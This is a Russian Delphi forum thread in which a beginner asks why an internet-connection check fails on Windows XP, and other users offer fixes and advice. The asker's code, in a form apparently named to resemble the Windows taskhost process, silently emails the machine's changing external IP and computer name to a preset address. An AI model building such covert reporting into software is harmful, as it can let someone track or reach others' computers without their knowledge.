Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Для новичков > Проверка подключения к интернету


Автор: company05 18.10.2013, 02:40
Доброе времени суток! У меня проблема с платформами. Есть код которая проверяет наличия подключения интернета на компьютере. На windows 7 работает нормально, а на XP не работает 

Код



function IsConnectedToInternet: Boolean;
var
  dwConnectionTypes: DWORD;
begin
  dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
  Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;




Код


procedure TTaskHostWin.Timer1Timer(Sender: TObject);
var
len:string;
num:integer;
 port:integer;

begin
    if IsConnectedToInternet  then
       begin
         edit1.Text:='';
         len:=idhttp1.get('http://www.myip.ru/get_ip.php');
         num:=pos('<TD bgcolor=white align=center valign=middle>',len)+45;
         delete(len,1,num);
         len:=copy(idhttp1.get('http://www.myip.ru/get_ip.php'), num, pos('<',len));
         edit1.Text:=len;
         if edit1.Text<>s then
            begin
               port:=587 ;
               IdSMTP1.Host:=('smtp.yandex.ru'); //Хост (указываем почтовый сервер)
               IdSMTP1.Port:=port;//Порт SMTP(25)
               IdSMTP1.Username:='*******'; //Логин
               IdSMTP1.Password:='*******'; //Пасс
               IdMessage1.Body .Text:=edit1.Text;//Здесь IP'шник
               IdMessage1.From.Text:='*******';//От кого
               IdMessage1.Recipients.EMailAddresses:='********';//Кому письмо
               IdMessage1.Subject:='New  IP!' + GetComputerNetName;//Тема письма
               IdSmtp1.Connect();//Rонектимся
               if IdSMTP1.Connected then //Если конект есть то
                  IdSMTP1.Send(IdMessage1);//Шлём письмо
                  idSMTP1.Disconnect;//Дисконект
                  s:=edit1.Text;
          end;

        end;




В чем  может быть проблема?

Автор: CynicRus 18.10.2013, 08:19
Посмотри что возвращает GetLastError  под XP.

Автор: WladimirObject 21.11.2013, 23:37
Примечание: проверялось только под Windows XP.
Код

uses
  WinInet;

var
  dwConnectionTypes: DWORD;

Function Is_OnLine():boolean;
begin
Result:=InternetGetConnectedState(@dwConnectionTypes,0);
end;


Автор: Poseidon 22.11.2013, 13:10
Никакие функции на подобии InternetGetConnectedState не дадут 100% правильный результат. Проверить наличия интернета можно только отправив запрос на гарантированно внешний адрес (типо microsoft.com) и получив оттуда ответ. 

Автор: Illusion Dolphin 22.11.2013, 13:35
От себя добавлю что незачем проверять наличие "интернета" т.к. вам надо знать лишь наличие ваших ресурсов. Запрашивайте ваш ресурс и если ошибка - то ваш ресурс недоступен, незачем проверять наличие чего-либо другого. То, что майкрософт.ком или гугл.ком недоступны ещё не значит что интернета нет, это может быть:
1) Проблема в маршрутизации
2) Проблемы в dns
3) прокси проблемный 
4) или в сети почему-то пускают не всюду а только по white-list и проверочного адреса нет в списке. 

Автор: WladimirObject 22.11.2013, 21:47
Цитата(Poseidon @ 22.11.2013,  13:10)
Никакие функции на подобии InternetGetConnectedState не дадут 100% правильный результат.

Спорить не буду, но еще ни разу функция InternetGetConnectedState меня не подводила.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)